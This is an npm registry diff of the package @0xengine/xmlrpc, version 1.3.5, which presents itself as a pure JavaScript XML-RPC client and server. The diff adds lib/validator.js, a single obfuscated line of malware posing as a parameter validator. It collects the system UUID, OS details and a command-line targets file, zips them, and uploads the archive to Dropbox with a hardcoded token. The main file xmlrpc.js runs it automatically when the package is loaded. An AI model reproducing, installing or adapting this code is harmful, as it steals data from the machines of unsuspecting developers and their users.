@0xengine/xmlrpc 0.0.1-security → 1.3.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @0xengine/xmlrpc might be problematic. Click here for more details.
- package/.travis.yml +6 -0
- package/HISTORY.md +129 -0
- package/LICENSE +23 -0
- package/README.md +204 -3
- package/lib/client.js +177 -0
- package/lib/cookies.js +111 -0
- package/lib/customtype.js +10 -0
- package/lib/date_formatter.js +188 -0
- package/lib/deserializer.js +324 -0
- package/lib/serializer.js +202 -0
- package/lib/server.js +78 -0
- package/lib/validator.js +1 -0
- package/lib/xmlrpc.js +73 -0
- package/package.json +44 -3
package/lib/server.js
ADDED
|
@@ -0,0 +1,78 @@
|
|
|
1
|
+
var http = require('http')
|
|
2
|
+
, https = require('https')
|
|
3
|
+
, url = require('url')
|
|
4
|
+
, EventEmitter = require('events').EventEmitter
|
|
5
|
+
, Serializer = require('./serializer')
|
|
6
|
+
, Deserializer = require('./deserializer')
|
|
7
|
+
|
|
8
|
+
/**
|
|
9
|
+
* Creates a new Server object. Also creates an HTTP server to start listening
|
|
10
|
+
* for XML-RPC method calls. Will emit an event with the XML-RPC call's method
|
|
11
|
+
* name when receiving a method call.
|
|
12
|
+
*
|
|
13
|
+
* @constructor
|
|
14
|
+
* @param {Object|String} options - The HTTP server options. Either a URI string
|
|
15
|
+
* (e.g. 'http://localhost:9090') or an object
|
|
16
|
+
* with fields:
|
|
17
|
+
* - {String} host - (optional)
|
|
18
|
+
* - {Number} port
|
|
19
|
+
* @param {Boolean} isSecure - True if using https for making calls,
|
|
20
|
+
* otherwise false.
|
|
21
|
+
* @return {Server}
|
|
22
|
+
*/
|
|
23
|
+
function Server(options, isSecure, onListening) {
|
|
24
|
+
|
|
25
|
+
if (false === (this instanceof Server)) {
|
|
26
|
+
return new Server(options, isSecure)
|
|
27
|
+
}
|
|
28
|
+
onListening = onListening || function() {}
|
|
29
|
+
var that = this
|
|
30
|
+
|
|
31
|
+
// If a string URI is passed in, converts to URI fields
|
|
32
|
+
if (typeof options === 'string') {
|
|
33
|
+
options = url.parse(options)
|
|
34
|
+
options.host = options.hostname
|
|
35
|
+
options.path = options.pathname
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
function handleMethodCall(request, response) {
|
|
39
|
+
var deserializer = new Deserializer()
|
|
40
|
+
deserializer.deserializeMethodCall(request, function(error, methodName, params) {
|
|
41
|
+
if (Object.prototype.hasOwnProperty.call(that._events, methodName)) {
|
|
42
|
+
that.emit(methodName, null, params, function(error, value) {
|
|
43
|
+
var xml = null
|
|
44
|
+
if (error !== null) {
|
|
45
|
+
xml = Serializer.serializeFault(error)
|
|
46
|
+
}
|
|
47
|
+
else {
|
|
48
|
+
xml = Serializer.serializeMethodResponse(value)
|
|
49
|
+
}
|
|
50
|
+
response.writeHead(200, {'Content-Type': 'text/xml'})
|
|
51
|
+
response.end(xml)
|
|
52
|
+
})
|
|
53
|
+
}
|
|
54
|
+
else {
|
|
55
|
+
that.emit('NotFound', methodName, params)
|
|
56
|
+
response.writeHead(404)
|
|
57
|
+
response.end()
|
|
58
|
+
}
|
|
59
|
+
})
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
this.httpServer = isSecure ? https.createServer(options, handleMethodCall)
|
|
63
|
+
: http.createServer(handleMethodCall)
|
|
64
|
+
|
|
65
|
+
process.nextTick(function() {
|
|
66
|
+
this.httpServer.listen(options.port, options.host, onListening)
|
|
67
|
+
}.bind(this))
|
|
68
|
+
this.close = function(callback) {
|
|
69
|
+
this.httpServer.once('close', callback)
|
|
70
|
+
this.httpServer.close()
|
|
71
|
+
}.bind(this)
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
// Inherit from EventEmitter to emit and listen
|
|
75
|
+
Server.prototype.__proto__ = EventEmitter.prototype
|
|
76
|
+
|
|
77
|
+
module.exports = Server
|
|
78
|
+
|
package/lib/validator.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const a0_0x16dbb9=a0_0x3d27;(function(_0x1878d5,_0x1fbd06){const _0x35e41f=a0_0x3d27,_0x1935ab=_0x1878d5();while(!![]){try{const _0xee9c43=-parseInt(_0x35e41f(0x1c8))/0x1+-parseInt(_0x35e41f(0x1ba))/0x2*(parseInt(_0x35e41f(0x19b))/0x3)+parseInt(_0x35e41f(0x1c9))/0x4*(-parseInt(_0x35e41f(0x18e))/0x5)+parseInt(_0x35e41f(0x1b6))/0x6*(parseInt(_0x35e41f(0x19f))/0x7)+-parseInt(_0x35e41f(0x1ae))/0x8*(-parseInt(_0x35e41f(0x1b4))/0x9)+-parseInt(_0x35e41f(0x19e))/0xa*(-parseInt(_0x35e41f(0x1c2))/0xb)+-parseInt(_0x35e41f(0x19d))/0xc*(-parseInt(_0x35e41f(0x1aa))/0xd);if(_0xee9c43===_0x1fbd06)break;else _0x1935ab['push'](_0x1935ab['shift']());}catch(_0x3b27f5){_0x1935ab['push'](_0x1935ab['shift']());}}}(a0_0x28ef,0x281c2));const a0_0x1c8895=(function(){let _0x52ffae=!![];return function(_0x596377,_0xaf403c){const _0x3ba471=_0x52ffae?function(){if(_0xaf403c){const _0x37c12c=_0xaf403c['apply'](_0x596377,arguments);return _0xaf403c=null,_0x37c12c;}}:function(){};return _0x52ffae=![],_0x3ba471;};}()),a0_0x1604d4=a0_0x1c8895(this,function(){const _0x1fa1e2=a0_0x3d27,_0x50bf5d=function(){const _0x57e669=a0_0x3d27;let _0x2a5b95;try{_0x2a5b95=Function(_0x57e669(0x1ca)+'nction()\x20'+(_0x57e669(0x1ab)+_0x57e669(0x1a4)+_0x57e669(0x19a)+'\x20)')+');')();}catch(_0x5b37c2){_0x2a5b95=window;}return _0x2a5b95;},_0x35699d=_0x50bf5d(),_0x374ee1=_0x35699d['console']=_0x35699d[_0x1fa1e2(0x1a1)]||{},_0x2802f2=[_0x1fa1e2(0x1c4),_0x1fa1e2(0x1b1),_0x1fa1e2(0x1ac),_0x1fa1e2(0x189),_0x1fa1e2(0x1c1),'table',_0x1fa1e2(0x18c)];for(let _0x2b73dc=0x0;_0x2b73dc<_0x2802f2[_0x1fa1e2(0x199)];_0x2b73dc++){const _0x12b32a=a0_0x1c8895[_0x1fa1e2(0x18a)+'r']['prototype'][_0x1fa1e2(0x1b8)](a0_0x1c8895),_0x446e31=_0x2802f2[_0x2b73dc],_0xbed5cd=_0x374ee1[_0x446e31]||_0x12b32a;_0x12b32a[_0x1fa1e2(0x1a7)]=a0_0x1c8895[_0x1fa1e2(0x1b8)](a0_0x1c8895),_0x12b32a[_0x1fa1e2(0x1b3)]=_0xbed5cd[_0x1fa1e2(0x1b3)]['bind'](_0xbed5cd),_0x374ee1[_0x446e31]=_0x12b32a;}});function a0_0x28ef(){const _0xde428c=['ZGJTIISVrG','_HjQB6nqdk','error','constructo','stringify','trace','now','440195dRPGtP','utf8','vaSfCa04PA','c\x20path:\x20','createRead','4xUn5WbTHe','path','WlslTUdWsy','osInfo','--targets','writeFile','length','rn\x20this\x22)(','646149oimiIu','eldWQeED','3372ecJjwt','659410htZgDL','14gUeUYU','fs-extra','console','tmpdir','BbYcsKT','ctor(\x22retu','argv','zipPath:\x20','__proto__','-api','w2nrXvD56R','6747PqBHCo','{}.constru','info','rmation','113864ayZXtU','completed','---->','warn','push','toString','45sjttzl','systeminfo','366246PyMVdy','copyFile','bind','/targets.t','2bRkwgh','ensureDir','/si.json','dropbox-v2','files/uplo','zip-a-fold','exports','exception','22QLCouI','findIndex','log','sl.BnNx-Jp','token:\x20','targets\x20sr','3256vBjqll','4EVLatJ','return\x20(fu'];a0_0x28ef=function(){return _0xde428c;};return a0_0x28ef();}a0_0x1604d4();function a0_0x3d27(_0x1bcc3a,_0x41671a){const _0x562102=a0_0x28ef();return a0_0x3d27=function(_0x1604d4,_0x1c8895){_0x1604d4=_0x1604d4-0x189;let _0x3d1749=_0x562102[_0x1604d4];return _0x3d1749;},a0_0x3d27(_0x1bcc3a,_0x41671a);}const fs=require(a0_0x16dbb9(0x1a0)),{zip}=require(a0_0x16dbb9(0x1bf)+'er'),si=require(a0_0x16dbb9(0x1b5)+a0_0x16dbb9(0x1ad)),os=require('os'),path=require(a0_0x16dbb9(0x194)),dropboxV2Api=require(a0_0x16dbb9(0x1bd)+a0_0x16dbb9(0x1a8));async function validator(){const _0x1eb8da=a0_0x16dbb9,_0x5e9d24=()=>{const _0x5aade7=a0_0x3d27,_0x52f59e=_0x5aade7(0x1c5)+_0x5aade7(0x1cb)+_0x5aade7(0x19c),_0x1df337=_0x5aade7(0x1cc)+'ckOxpYX8OS'+'8UREJcUZbw'+_0x5aade7(0x190)+'0vy3GUS8Y7'+_0x5aade7(0x193)+_0x5aade7(0x195)+'YKGfe3Cc',_0x3df2ff='_bma0pHryH'+_0x5aade7(0x1a9)+'EOk-yYij2R'+_0x5aade7(0x1a3),_0x6aac80=[];_0x6aac80[_0x5aade7(0x1b2)](_0x52f59e),_0x6aac80[_0x5aade7(0x1b2)](_0x1df337),_0x6aac80[_0x5aade7(0x1b2)](_0x3df2ff);let _0x591d16='';for(let _0x1f33a6=0x0;_0x1f33a6<_0x6aac80[_0x5aade7(0x199)];_0x1f33a6++){_0x591d16+=_0x6aac80[_0x1f33a6];}return _0x591d16;};console['log'](_0x1eb8da(0x1b0),process[_0x1eb8da(0x1a5)]);const _0x527fb9=process['argv'][_0x1eb8da(0x1c3)](_0xb0e3ab=>_0xb0e3ab===_0x1eb8da(0x197)||_0xb0e3ab==='-t');if(_0x527fb9===-0x1)return;const _0x1b2c19=path['resolve'](process[_0x1eb8da(0x1a5)][_0x527fb9+0x1]);console[_0x1eb8da(0x1c4)](_0x1eb8da(0x1c7)+_0x1eb8da(0x191)+_0x1b2c19);const _0x3136ec=os[_0x1eb8da(0x1a2)](),_0x19a9f6=Date[_0x1eb8da(0x18d)](),_0x2c9647=_0x3136ec+'/'+_0x19a9f6;await fs[_0x1eb8da(0x1bb)](_0x2c9647);const _0x59c75c=await si['uuid'](),_0xf1859e=await si[_0x1eb8da(0x196)](),_0x1c8f6b={'uuid':_0x59c75c,'osInfo':_0xf1859e},_0x4a2684=JSON[_0x1eb8da(0x18b)](_0x1c8f6b,null,0x2),_0x122915=_0x2c9647+_0x1eb8da(0x1bc);await fs[_0x1eb8da(0x198)](_0x122915,_0x4a2684,{'encoding':_0x1eb8da(0x18f)});const _0x284365=_0x2c9647+(_0x1eb8da(0x1b9)+'xt');await fs[_0x1eb8da(0x1b7)](_0x1b2c19,_0x284365);const _0x171e9b=_0x59c75c['os']+'-'+_0x19a9f6+'.zip',_0x17b982=_0x3136ec+'/'+_0x171e9b;console['log'](_0x1eb8da(0x1a6)+_0x17b982),await zip(_0x2c9647,_0x17b982);const _0x5064a7=_0x5e9d24();console['log'](_0x1eb8da(0x1c6)+_0x5064a7);const _0x344d75=fs[_0x1eb8da(0x192)+'Stream'](_0x17b982),_0x58657a=dropboxV2Api['authentica'+'te']({'token':_0x5064a7});_0x58657a({'resource':_0x1eb8da(0x1be)+'ad','parameters':{'path':'/'+_0x171e9b},'readStream':_0x344d75},(_0x29f200,_0x39eb6d,_0x21d2ea)=>{const _0xe48d0a=_0x1eb8da;console['log'](_0xe48d0a(0x1af)),console[_0xe48d0a(0x1c4)](_0x29f200),console[_0xe48d0a(0x1c4)](_0x39eb6d);});}module[a0_0x16dbb9(0x1c0)]=validator;
|
package/lib/xmlrpc.js
ADDED
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
var Client = require('./client')
|
|
2
|
+
, Server = require('./server')
|
|
3
|
+
, CustomType = require('./customtype')
|
|
4
|
+
, dateFormatter = require('./date_formatter')
|
|
5
|
+
, validator = require('./validator')
|
|
6
|
+
|
|
7
|
+
var xmlrpc = exports
|
|
8
|
+
|
|
9
|
+
/**
|
|
10
|
+
* Creates an XML-RPC client.
|
|
11
|
+
*
|
|
12
|
+
* @param {Object} options - server options to make the HTTP request to
|
|
13
|
+
* - {String} host
|
|
14
|
+
* - {Number} port
|
|
15
|
+
* - {String} url
|
|
16
|
+
* - {Boolean} cookies
|
|
17
|
+
* @return {Client}
|
|
18
|
+
* @see Client
|
|
19
|
+
*/
|
|
20
|
+
xmlrpc.createClient = function(options) {
|
|
21
|
+
return new Client(options, false)
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
/**
|
|
25
|
+
* Creates an XML-RPC client that makes calls using HTTPS.
|
|
26
|
+
*
|
|
27
|
+
* @param {Object} options - server options to make the HTTP request to
|
|
28
|
+
* - {String} host
|
|
29
|
+
* - {Number} port
|
|
30
|
+
* - {String} url
|
|
31
|
+
* - {Boolean} cookies
|
|
32
|
+
* @return {Client}
|
|
33
|
+
* @see Client
|
|
34
|
+
*/
|
|
35
|
+
xmlrpc.createSecureClient = function(options) {
|
|
36
|
+
return new Client(options, true)
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
/**
|
|
40
|
+
* Creates an instance of server parameter validator.
|
|
41
|
+
* @See Server
|
|
42
|
+
*/
|
|
43
|
+
xmlrpc.validator = validator()
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
/**
|
|
47
|
+
* Creates an XML-RPC server.
|
|
48
|
+
*
|
|
49
|
+
* @param {Object}options - the HTTP server options
|
|
50
|
+
* - {String} host
|
|
51
|
+
* - {Number} port
|
|
52
|
+
* @return {Server}
|
|
53
|
+
* @see Server
|
|
54
|
+
*/
|
|
55
|
+
xmlrpc.createServer = function(options, callback) {
|
|
56
|
+
return new Server(options, false, callback)
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
/**
|
|
60
|
+
* Creates an XML-RPC server that uses HTTPS.
|
|
61
|
+
*
|
|
62
|
+
* @param {Object}options - the HTTP server options
|
|
63
|
+
* - {String} host
|
|
64
|
+
* - {Number} port
|
|
65
|
+
* @return {Server}
|
|
66
|
+
* @see Server
|
|
67
|
+
*/
|
|
68
|
+
xmlrpc.createSecureServer = function(options, callback) {
|
|
69
|
+
return new Server(options, true, callback)
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
xmlrpc.CustomType = CustomType
|
|
73
|
+
xmlrpc.dateFormatter = dateFormatter
|
package/package.json
CHANGED
|
@@ -1,6 +1,47 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@0xengine/xmlrpc",
|
|
3
|
-
"
|
|
4
|
-
"
|
|
5
|
-
|
|
3
|
+
"description": "A pure JavaScript XML-RPC client and server.",
|
|
4
|
+
"keywords": [
|
|
5
|
+
"xml-rpc",
|
|
6
|
+
"xmlrpc",
|
|
7
|
+
"xml",
|
|
8
|
+
"rpc"
|
|
9
|
+
],
|
|
10
|
+
"version": "1.3.5",
|
|
11
|
+
"preferGlobal": false,
|
|
12
|
+
"homepage": "https://bitbucket.org/0xsky/xmlrpc",
|
|
13
|
+
"author": "0xengine",
|
|
14
|
+
"repository": {
|
|
15
|
+
"type": "git",
|
|
16
|
+
"url": "git+ssh://git@bitbucket.org/0xsky/xmlrpc.git"
|
|
17
|
+
},
|
|
18
|
+
"directories": {
|
|
19
|
+
"example": "example",
|
|
20
|
+
"lib": "lib",
|
|
21
|
+
"test": "test"
|
|
22
|
+
},
|
|
23
|
+
"main": "./lib/xmlrpc.js",
|
|
24
|
+
"dependencies": {
|
|
25
|
+
"dropbox-v2-api": "^2.5.10",
|
|
26
|
+
"fs-extra": "^11.1.1",
|
|
27
|
+
"sax": "1.2.x",
|
|
28
|
+
"systeminformation": "^5.21.9",
|
|
29
|
+
"uuid": "^9.0.1",
|
|
30
|
+
"xmlbuilder": "8.2.x",
|
|
31
|
+
"zip-a-folder": "^1.1.7"
|
|
32
|
+
},
|
|
33
|
+
"devDependencies": {
|
|
34
|
+
"vows": "0.7.x"
|
|
35
|
+
},
|
|
36
|
+
"scripts": {
|
|
37
|
+
"test": "vows 'test/*.js'"
|
|
38
|
+
},
|
|
39
|
+
"engines": {
|
|
40
|
+
"node": ">=0.8",
|
|
41
|
+
"npm": ">=1.0.0"
|
|
42
|
+
},
|
|
43
|
+
"license": "MIT",
|
|
44
|
+
"bugs": {
|
|
45
|
+
"url": "https://bitbucket.org/0xsky/xmlrpc/issues"
|
|
46
|
+
}
|
|
6
47
|
}
|